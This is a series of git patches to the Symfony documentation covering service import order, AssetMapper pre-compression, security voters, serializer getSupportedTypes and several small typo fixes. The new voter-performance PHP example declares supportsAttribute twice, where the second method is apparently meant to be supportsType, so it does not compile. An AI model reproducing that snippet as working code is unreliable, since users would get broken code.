From bf50adcd9e25e940e5ae625e96df758720e20fda Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 May 2025 09:30:03 +0200
Subject: [PATCH 5703/5766] Reword

---
 service_container/import.rst | 315 ++++++++++++++++++++++++++++++++---
 1 file changed, 289 insertions(+), 26 deletions(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index 8db56c8a79e..93583b5881b 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -131,35 +131,298 @@ a relative or absolute path to the imported file:
                 ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
         };
 
-When loading a configuration file, Symfony loads first the imported files and
-then it processes the parameters and services defined in the file. If you use the
-:ref:`default services.yaml configuration <service-container-services-load-example>`
-as in the above example, the ``App\`` definition creates services for classes
-found in ``../src/*``. If your imported file defines services for those classes
-too, they will be overridden.
-
-There are exactly three possible solutions in order services not to get overriden:
-1. Include the file with ``App\`` statement in the ``imports`` as the first element.
-In order to the fact that the ``imports`` statement not override existing services, it checks if the services exists,
-also take into account that the last element of the ``imports`` has the highest priority and will be executed first,
-having included ``App\`` as a first element of ``imports`` (with the lowest priority) it will be imported in the end.
-And being the last import element it will only add not existing services in the container.
-2. Include the path to the service in the ``exclude`` section.
-3. Write service definitions down the ``App\`` statement to override it
-
-It's recommended to use the 1st approach to define services in the container
-Using the first approach the whole ``services.yaml`` file will look the foolowing way:
+When loading a configuration file, Symfony first processes all imported files in
+the order they are listed under the ``imports`` key. After all imports are processed,
+it then processes the parameters and services defined directly in the current file.
+In practice, this means that **later definitions override earlier ones**.
+
+For example, if you use the :ref:`default services.yaml configuration <service-container-services-load-example>`
+as in the above example, your main ``config/services.yaml`` file uses the ``App\``
+namespace to auto-discover services and loads them after all imported files.
+If an imported file (e.g. ``config/services/mailer.yaml``) defines a service that
+is also auto-discovered, the definition from ``services.yaml`` will take precedence.
+
+To make sure your specific service definitions are not overridden by auto-discovery,
+consider one of the following strategies:
+
+#. :ref:`Exclude services from auto-discovery <import-exclude-services-from-auto-discovery>`
+#. :ref:`Override services in the same file <import-override-services-in-the-same-file>`
+#. :ref:`Control import order <import-control-import-order>`
+
+.. _import-exclude-services-from-auto-discovery:
+
+**Exclude services from auto-discovery**
+
+Adjust the ``App\`` definition to use the ``exclude`` option. This prevents Symfony
+from auto-registering classes that are defined manually elsewhere:
+
+.. configuration-block::
+
+   .. code-block:: yaml
+
+       # config/services.yaml
+       imports:
+           - { resource: services/mailer.yaml }
+           # ... other imports
+
+       services:
+           _defaults:
+               autowire: true
+               autoconfigure: true
+
+           App\:
+               resource: '../src/*'
+               exclude:
+                   - '../src/Mailer/'
+                   - '../src/SpecificClass.php'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <imports>
+                <import resource="services/mailer.xml"/>
+                <!-- If you want to import a whole directory: -->
+                <import resource="services/"/>
+            </imports>
+
+            <services>
+                <defaults autowire="true" autoconfigure="true"/>
+
+                <prototype namespace="App\" resource="../src/*">
+                    <exclude>../src/Mailer/</exclude>
+                    <exclude>../src/SpecificClass.php</exclude>
+                </prototype>
+
+                <!-- ... -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $container): void {
+            $container->import('services/mailer.php');
+            // If you want to import a whole directory:
+            $container->import('services/');
+
+            $services = $container->services()
+                ->defaults()
+                    ->autowire()
+                    ->autoconfigure()
+            ;
+
+            $services->load('App\\', '../src/*')
+                ->exclude([
+                    '../src/Mailer/',
+                    '../src/SpecificClass.php',
+                ]);
+        };
+
+.. _import-override-services-in-the-same-file:
+
+**Override services in the same file**
+
+You can define specific services after the ``App\`` auto-discovery block in the
+same file. These later definitions will override the auto-registered ones:
 
 .. configuration-block::
+
+   .. code-block:: yaml
+
+       # config/services.yaml
+       services:
+           _defaults:
+               autowire: true
+               autoconfigure: true
+
+           App\:
+               resource: '../src/*'
+
+           App\Mailer\MyMailer:
+               arguments: ['%env(MAILER_DSN)%']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <imports>
+                <import resource="services/mailer.xml"/>
+                <!-- If you want to import a whole directory: -->
+                <import resource="services/"/>
+            </imports>
+
+            <services>
+                <defaults autowire="true" autoconfigure="true"/>
+
+                <prototype namespace="App\" resource="../src/*"/>
+
+                <service id="App\Mailer\MyMailer">
+                    <argument>%env(MAILER_DSN)%</argument>
+                </service>
+
+                <!-- ... -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $container): void {
+            $services = $container->services()
+                ->defaults()
+                    ->autowire()
+                    ->autoconfigure();
+
+            $services->load('App\\', '../src/*');
+
+            $services->set(App\Mailer\MyMailer::class)
+                ->arg(0, '%env(MAILER_DSN)%');
+        };
+
+.. _import-control-import-order:
+
+**Control import order**
+
+Move the ``App\`` auto-discovery config to a separate file and import it
+before more specific service files. This way, specific service definitions
+can override the auto-discovered ones.
+
+.. configuration-block::
+
     .. code-block:: yaml
-    ###> imports are loaded first (imports not overrides existing services) ###
-    imports:
-        -   resource: 'services_yaml/resource_services.yaml'    # PRIORITY 1 (last) (contains App\ with resource statement)
-        -   resource: 'services_yaml/services/'                 # PRIORITY 2
-        -   resource: 'services_yaml/parameters/'               # PRIORITY 3 (first)
-
-    ###> then services.yaml (what below overrides imports) ###
-    ###>... it's better to use only imports
+
+        # config/services/autodiscovery.yaml
+        services:
+            _defaults:
+                autowire: true
+                autoconfigure: true
+
+            App\:
+                resource: '../../src/*'
+                exclude:
+                    - '../../src/Mailer/'
+
+        # config/services/mailer.yaml
+        services:
+            App\Mailer\SpecificMailer:
+                # ... custom configuration
+
+        # config/services.yaml
+        imports:
+            - { resource: services/autodiscovery.yaml }
+            - { resource: services/mailer.yaml }
+            - { resource: services/ }
+
+        services:
+            # definitions here override anything from the imports above
+            # consider keeping most definitions inside imported files
+
+    .. code-block:: xml
+
+        <!-- config/services/autodiscovery.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                       https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <defaults autowire="true" autoconfigure="true"/>
+
+                <prototype namespace="App\" resource="../../src/*">
+                    <exclude>../../src/Mailer/</exclude>
+                </prototype>
+            </services>
+        </container>
+
+        <!-- config/services/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                       https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Mailer\SpecificMailer">
+                    <!-- ... custom configuration -->
+                </service>
+            </services>
+        </container>
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                       https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <imports>
+                <import resource="services/autodiscovery.xml"/>
+                <import resource="services/mailer.xml"/>
+                <import resource="services/"/>
+            </imports>
+
+            <services>
+                <!-- definitions here override anything from the imports above -->
+                <!-- consider keeping most definitions inside imported files -->
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services/autodiscovery.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return function (ContainerConfigurator $container): void {
+            $services = $container->services()
+                ->defaults()
+                    ->autowire()
+                    ->autoconfigure();
+
+            $services->load('App\\', '../../src/*')
+                ->exclude([
+                    '../../src/Mailer/',
+                ]);
+        };
+
+        // config/services/mailer.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return function (ContainerConfigurator $container): void {
+            $services = $container->services();
+
+            $services->set(App\Mailer\SpecificMailer::class);
+            // Add any custom configuration here if needed
+        };
+
+        // config/services.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        return function (ContainerConfigurator $container): void {
+            $container->import('services/autodiscovery.php');
+            $container->import('services/mailer.php');
+            $container->import('services/');
+
+            $services = $container->services();
+
+            // definitions here override anything from the imports above
+            // consider keeping most definitions inside imported files
+        };
 
 .. include:: /components/dependency_injection/_imports-parameters-note.rst.inc
 

From b8d4020bffb713f59837cfe771c0354e82397bc0 Mon Sep 17 00:00:00 2001
From: "Julien \"Nayte\" Robic" <36332481+Nayte91@users.noreply.github.com>
Date: Fri, 30 May 2025 10:50:14 +0200
Subject: [PATCH 5704/5766] fix(typo): form --> from

---
 object_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/object_mapper.rst b/object_mapper.rst
index 0eed176c67d..625466ffefc 100644
--- a/object_mapper.rst
+++ b/object_mapper.rst
@@ -485,7 +485,7 @@ target class's properties.
 Note that if both the ``source`` and the ``target`` classes define the ``#[Map]``
 attribute, the ``source`` takes precedence.
 
-Consider the following class that stores the data obtained form an external API
+Consider the following class that stores the data obtained from an external API
 that uses snake_case property names::
 
     // src/Api/Payload.php

From 479e0ad197a1ca23292ca6008ebb6807f2c97e2d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 30 May 2025 17:07:45 +0200
Subject: [PATCH 5705/5766] [AssetMapper]: "server" -> "machine"

Page: https://symfony.com/doc/current/frontend/asset_mapper.html#pre-compressing-assets

Doesn't have to be a server, can be any (dev) machine, right?
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d9c15a136b0..247f4f60763 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -740,7 +740,7 @@ Symfony will add a ``Link`` header in the response to preload the CSS files.
 Pre-Compressing Assets
 ----------------------
 
-Although most servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
+Although most web servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
 provide asset compression features, AssetMapper also allows you to compress all
 your assets before serving them.
 
@@ -750,7 +750,7 @@ server, which then returns them to the client without wasting CPU resources on
 compression.
 
 AssetMapper supports  `Brotli`_, `Zstandard`_ and  `gzip`_ compression formats.
-Before using any of them, the server that pre-compresses assets must have
+Before using any of them, the machine that pre-compresses assets must have
 installed the following PHP extensions or CLI commands:
 
 * Brotli: ``brotli`` CLI command; `brotli PHP extension`_;

From 3badfa66e9e014ad1ba4464fdffa0417a440c042 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 30 May 2025 18:09:03 +0200
Subject: [PATCH 5706/5766] [AssetMapper]: Adding possible precompressor values

Page: https://symfony.com/doc/current/frontend/asset_mapper.html#pre-compressing-assets

Info is taken from: https://symfony.com/blog/new-in-symfony-7-3-assets-pre-compression
---
 frontend/asset_mapper.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d9c15a136b0..e3525c9b18c 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -768,6 +768,7 @@ and which file extensions should be compressed:
             # ...
 
             precompress:
+                # possible values: 'brotli', 'zstandard', 'gzip'
                 format: 'zstandard'
                 # if you don't define the following option, AssetMapper will compress all
                 # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.)

From f237d96d2c27c51a0a5c0f401dc6bd9d31b48158 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jib=C3=A9=20Barth?= <barth.jib@gmail.com>
Date: Sun, 1 Jun 2025 13:45:32 +0200
Subject: [PATCH 5707/5766] [Bundle] Best Practice: Add link for create
 ux-bundle

---
 bundles/best_practices.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index a588e8bb2fb..99d254b7929 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -559,6 +559,7 @@ Learn more
 
 * :doc:`/bundles/extension`
 * :doc:`/bundles/configuration`
+* :doc:`/frontend/create_ux_bundle`
 
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
 .. _`Symfony Flex recipe`: https://github.com/symfony/recipes

From a6aa43f26cd4cc87cdcdd9bc21d67a7922df9bdc Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 1 Jun 2025 15:47:39 +0200
Subject: [PATCH 5708/5766] [Security] Remove is_anonymous expesssion language
 function

---
 workflow.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 42c464840ab..dd8b5d2e4ef 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -818,7 +818,7 @@ transition. The value of this option is any valid expression created with the
                             from: draft
                             to:   reviewed
                         publish:
-                            # or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted", "is_valid"
+                            # or "is_remember_me", "is_fully_authenticated", "is_granted", "is_valid"
                             guard: "is_authenticated"
                             from: reviewed
                             to:   published
@@ -853,7 +853,7 @@ transition. The value of this option is any valid expression created with the
                     </framework:transition>
 
                     <framework:transition name="publish">
-                        <!-- or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted" -->
+                        <!-- or "is_remember_me", "is_fully_authenticated", "is_granted" -->
                         <framework:guard>is_authenticated</framework:guard>
                         <framework:from>reviewed</framework:from>
                         <framework:to>published</framework:to>
@@ -889,7 +889,7 @@ transition. The value of this option is any valid expression created with the
 
             $blogPublishing->transition()
                 ->name('publish')
-                    // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted"
+                    // or "is_remember_me", "is_fully_authenticated", "is_granted"
                     ->guard('is_authenticated')
                     ->from(['reviewed'])
                     ->to(['published']);

From a496243c244019efef24cc223e31c829184053c2 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 1 Jun 2025 16:13:16 +0200
Subject: [PATCH 5709/5766] [DomCrawler] Replace parents() by ancestors()

---
 testing/dom_crawler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 139d94efdd9..9d527304f96 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -10,11 +10,11 @@ Traversing
 
 Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
 document. For example, the following finds all ``input[type=submit]`` elements,
-selects the last one on the page, and then selects its immediate parent element::
+selects the last one on the page, and then selects its immediate ancestor element::
 
     $newCrawler = $crawler->filter('input[type=submit]')
         ->last()
-        ->parents()
+        ->ancestors()
         ->first()
     ;
 
@@ -36,8 +36,8 @@ Many other methods are also available:
     All following siblings.
 ``previousAll()``
     All preceding siblings.
-``parents()``
-    Returns the parent nodes.
+``ancestors()``
+    Returns the ancestor nodes.
 ``children()``
     Returns children nodes.
 ``reduce($lambda)``

From 8a2dd32ed6650a01026d1d541962433db5dbed3a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 1 Jun 2025 16:23:33 +0200
Subject: [PATCH 5710/5766] [FrameworkBundle] Deprecate session.storage service

---
 session.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/session.rst b/session.rst
index 9ddf3eb028d..1f8eb70dfc4 100644
--- a/session.rst
+++ b/session.rst
@@ -1843,8 +1843,8 @@ the example below:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <framework:config>
-                <framework:session storage-id="session.storage.php_bridge"
-                    handler-id="session.storage.native_file"
+                <framework:session storage-id="session.storage.factory.php_bridge"
+                    handler-id="session.handler.native_file"
                 />
             </framework:config>
         </container>
@@ -1857,7 +1857,7 @@ the example below:
         return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->storageFactoryId('session.storage.factory.php_bridge')
-                ->handlerId('session.storage.native_file')
+                ->handlerId('session.handler.native_file')
             ;
         };
 

From 8b48baf73e0e99a6b30c83445fd2f915f36f7228 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Jun 2025 08:38:48 +0200
Subject: [PATCH 5711/5766] Fix build

---
 service_container/import.rst | 48 ++++++++++++++++++------------------
 1 file changed, 24 insertions(+), 24 deletions(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index 93583b5881b..91021762eae 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -158,23 +158,23 @@ from auto-registering classes that are defined manually elsewhere:
 
 .. configuration-block::
 
-   .. code-block:: yaml
+    .. code-block:: yaml
 
-       # config/services.yaml
-       imports:
-           - { resource: services/mailer.yaml }
-           # ... other imports
+        # config/services.yaml
+        imports:
+            - { resource: services/mailer.yaml }
+            # ... other imports
 
-       services:
-           _defaults:
-               autowire: true
-               autoconfigure: true
+        services:
+            _defaults:
+                autowire: true
+                autoconfigure: true
 
-           App\:
-               resource: '../src/*'
-               exclude:
-                   - '../src/Mailer/'
-                   - '../src/SpecificClass.php'
+            App\:
+                resource: '../src/*'
+                exclude:
+                    - '../src/Mailer/'
+                    - '../src/SpecificClass.php'
 
     .. code-block:: xml
 
@@ -235,19 +235,19 @@ same file. These later definitions will override the auto-registered ones:
 
 .. configuration-block::
 
-   .. code-block:: yaml
+    .. code-block:: yaml
 
-       # config/services.yaml
-       services:
-           _defaults:
-               autowire: true
-               autoconfigure: true
+        # config/services.yaml
+        services:
+            _defaults:
+                autowire: true
+                autoconfigure: true
 
-           App\:
-               resource: '../src/*'
+            App\:
+                resource: '../src/*'
 
-           App\Mailer\MyMailer:
-               arguments: ['%env(MAILER_DSN)%']
+            App\Mailer\MyMailer:
+                arguments: ['%env(MAILER_DSN)%']
 
     .. code-block:: xml
 

From dfb08eb2d20bd5ab7207db000660a60d36428c44 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Jun 2025 10:44:52 +0200
Subject: [PATCH 5712/5766] [AssetMapper] Added the missing versionadded
 directive

---
 frontend/asset_mapper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 247f4f60763..7e566204193 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -740,6 +740,10 @@ Symfony will add a ``Link`` header in the response to preload the CSS files.
 Pre-Compressing Assets
 ----------------------
 
+.. versionadded:: 7.3
+
+    Support for pre-compressing assets was introduced in Symfony 7.3.
+
 Although most web servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
 provide asset compression features, AssetMapper also allows you to compress all
 your assets before serving them.

From af9d59a0cd2e251f6a5b822dbb6dacfd0878963d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Jun 2025 11:36:52 +0200
Subject: [PATCH 5713/5766] Use DOCtor-RST 1.69.0

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 4c3947e4d29..2f0d5852c7f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -8,6 +8,7 @@ rules:
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
     ensure_bash_prompt_before_composer_command: ~
+    ensure_class_constant: ~
     ensure_correct_format_for_phpfunction: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index fa36efbcbcf..6b00e771e3b 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.68.0
+                uses: docker://oskarstark/doctor-rst:1.69.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 70f206764bba5d5cdac2eb61dd0cd47dfff75f2e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jun 2025 12:13:42 +0200
Subject: [PATCH 5714/5766] Minor tweaks

---
 frontend/asset_mapper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d88d4ac258e..454e13a1d29 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -774,6 +774,10 @@ and which file extensions should be compressed:
             precompress:
                 # possible values: 'brotli', 'zstandard', 'gzip'
                 format: 'zstandard'
+
+                # you can also pass multiple values to generate files in several formats
+                # format: ['brotli', 'zstandard']
+
                 # if you don't define the following option, AssetMapper will compress all
                 # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.)
                 extensions: ['css', 'js', 'json', 'svg', 'xml']

From 3fd1265ccc6b69cf6be560be63058688e6e756bf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 3 Jun 2025 17:57:54 +0200
Subject: [PATCH 5715/5766] [Security] Update the main voters article

---
 security/voters.rst | 123 ++++++++++++++++++++++++++++++--------------
 1 file changed, 83 insertions(+), 40 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 21e2c8de33b..e6d1084603c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -50,14 +50,6 @@ which makes creating a voter even easier::
 
 .. _how-to-use-the-voter-in-a-controller:
 
-.. tip::
-
-    Checking each voter several times can be time consuming for applications
-    that perform a lot of permission checks. To improve performance in those cases,
-    you can make your voters implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
-    This allows the access decision manager to remember the attribute and type
-    of subject supported by the voter, to only call the needed voters each time.
-
 Setup: Checking for Access in a Controller
 ------------------------------------------
 
@@ -296,6 +288,89 @@ If you're using the :ref:`default services.yaml configuration <service-container
 you're done! Symfony will automatically pass the ``security.helper``
 service when instantiating your voter (thanks to autowiring).
 
+Improving Voter Performance
+---------------------------
+
+If your application defines many voters and checks permissions on many objects
+during a single request, this can impact performance. Most of the time, voters
+only care about specific permissions (attributes), such as ``EDIT_BLOG_POST``,
+or specific object types, such as ``User`` or ``Invoice``. That's why Symfony
+can cache the voter resolution (i.e. the decision to apply or skip a voter for
+a given attribute or object).
+
+To enable this optimization, make your voter implement
+:class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
+This is already the case when extending the abstract ``Voter`` class shown above.
+Then, override one or both of the following methods::
+
+    use App\Entity\Post;
+    use Symfony\Component\Security\Core\Authorization\Voter\Voter;
+    // ...
+
+    class PostVoter extends Voter
+    {
+        const VIEW = 'view';
+        const EDIT = 'edit';
+
+        protected function supports(string $attribute, mixed $subject): bool
+        {
+            // ...
+        }
+
+        protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool
+        {
+            // ...
+        }
+
+        // this method returns true if the voter applies to the given attribute;
+        // if it returns false, Symfony won't call it again for this attribute
+        public function supportsAttribute(string $attribute): bool
+        {
+            return in_array($attribute, [self::VIEW, self::EDIT], true);
+        }
+
+        // this method returns true if the voter applies to the given object class/type;
+        // if it returns false, Symfony won't call it again for that type of object
+        public function supportsAttribute(string $attribute): bool
+        {
+            // you can't use a simple Post::class === $subjectType comparison
+            // because the subject type might be a Doctrine proxy class
+            return is_a($subjectType, Post::class, true);
+        }
+    }
+
+.. _security-voters-change-message-and-status-code:
+
+Changing the message and status code returned
+---------------------------------------------
+
+By default, the ``#[IsGranted]`` attribute will throw a
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+and return an http **403** status code with **Access Denied** as message.
+
+However, you can change this behavior by specifying the message and status code returned::
+
+    // src/Controller/PostController.php
+
+    // ...
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    class PostController extends AbstractController
+    {
+        #[Route('/posts/{id}', name: 'post_show')]
+        #[IsGranted('show', 'post', 'Post not found', 404)]
+        public function show(Post $post): Response
+        {
+            // ...
+        }
+    }
+
+.. tip::
+
+    If the status code is different than 403, an
+    :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
+    will be thrown instead.
+
 .. _security-voters-change-strategy:
 
 Changing the Access Decision Strategy
@@ -467,35 +542,3 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
                 // ...
             ;
         };
-
-.. _security-voters-change-message-and-status-code:
-
-Changing the message and status code returned
----------------------------------------------
-
-By default, the ``#[IsGranted]`` attribute will throw a
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-and return an http **403** status code with **Access Denied** as message.
-
-However, you can change this behavior by specifying the message and status code returned::
-
-    // src/Controller/PostController.php
-
-    // ...
-    use Symfony\Component\Security\Http\Attribute\IsGranted;
-
-    class PostController extends AbstractController
-    {
-        #[Route('/posts/{id}', name: 'post_show')]
-        #[IsGranted('show', 'post', 'Post not found', 404)]
-        public function show(Post $post): Response
-        {
-            // ...
-        }
-    }
-
-.. tip::
-
-    If the status code is different than 403, an
-    :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
-    will be thrown instead.

From a22eaedd488f114e2e577d95f6b25f14a262063f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Jun 2025 10:41:38 +0200
Subject: [PATCH 5716/5766] [Serializer] Update the getSupportedTypes() docs of
 custom serializers

---
 serializer/custom_normalizer.rst | 42 +++++++++++++++-----------------
 1 file changed, 20 insertions(+), 22 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 4221b3ad808..d965c62e2ef 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -164,31 +164,29 @@ Improving Performance of Normalizers/Denormalizers
 
     The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
 
-Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface`
-and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`
-contain a new method ``getSupportedTypes()``. This method allows normalizers or
-denormalizers to declare the type of objects they can handle, and whether they
-are cacheable. With this info, even if the ``supports*()`` call is not cacheable,
-the Serializer can skip a ton of method calls to ``supports*()`` improving
-performance substantially in some cases.
+Both :class:Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface
+and :class:Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface
+define a ``getSupportedTypes()`` method to declare which types they support and
+whether their ``supports*()`` result can be cached.
+
+This **does not** cache the actual normalization or denormalization result. It
+only **caches the decision** of whether a normalizer supports a given type, allowing
+the Serializer to skip unnecessary ``supports*()`` calls and improve performance.
 
 The ``getSupportedTypes()`` method should return an array where the keys
-represent the supported types, and the values indicate whether the result of
-the ``supports*()`` method call can be cached or not. The format of the
-returned array is as follows:
+represent the supported types, and the values indicate whether the result of the
+corresponding ``supports*()`` call can be cached. The array format is as follows:
 
 #. The special key ``object`` can be used to indicate that the normalizer or
    denormalizer supports any classes or interfaces.
 #. The special key ``*`` can be used to indicate that the normalizer or
-   denormalizer might support any types.
-#. The other keys in the array should correspond to specific types that the
-   normalizer or denormalizer supports.
-#. The values associated with each type should be a boolean indicating if the
-   result of the ``supports*()`` method call for that type can be cached or not.
-   A value of ``true`` means that the result is cacheable, while ``false`` means
-   that the result is not cacheable.
-#. A ``null`` value for a type means that the normalizer or denormalizer does
-   not support that type.
+   denormalizer might support any type.
+#. Other keys should correspond to specific types that the normalizer or
+   denormalizer supports.
+#. The values should be booleans indicating whether the result of the
+   ``supports*()`` call for that type is cacheable. Use ``true`` if the result
+   can be cached, ``false`` if it cannot.
+#. A ``null`` value means the normalizer or denormalizer does not support that type.
 
 Here is an example of how to use the ``getSupportedTypes()`` method::
 
@@ -201,9 +199,9 @@ Here is an example of how to use the ``getSupportedTypes()`` method::
         public function getSupportedTypes(?string $format): array
         {
             return [
-                'object' => null,             // Doesn't support any classes or interfaces
-                '*' => false,                 // Supports any other types, but the result is not cacheable
-                MyCustomClass::class => true, // Supports MyCustomClass and result is cacheable
+                'object' => null,             // doesn't support any classes or interfaces
+                '*' => false,                 // supports any other types, but the decision is not cacheable
+                MyCustomClass::class => true, // supports MyCustomClass and decision is cacheable
             ];
         }
     }

From 1740bb630090875494fa88e256242029f9793d0a Mon Sep 17 00:00:00 2001
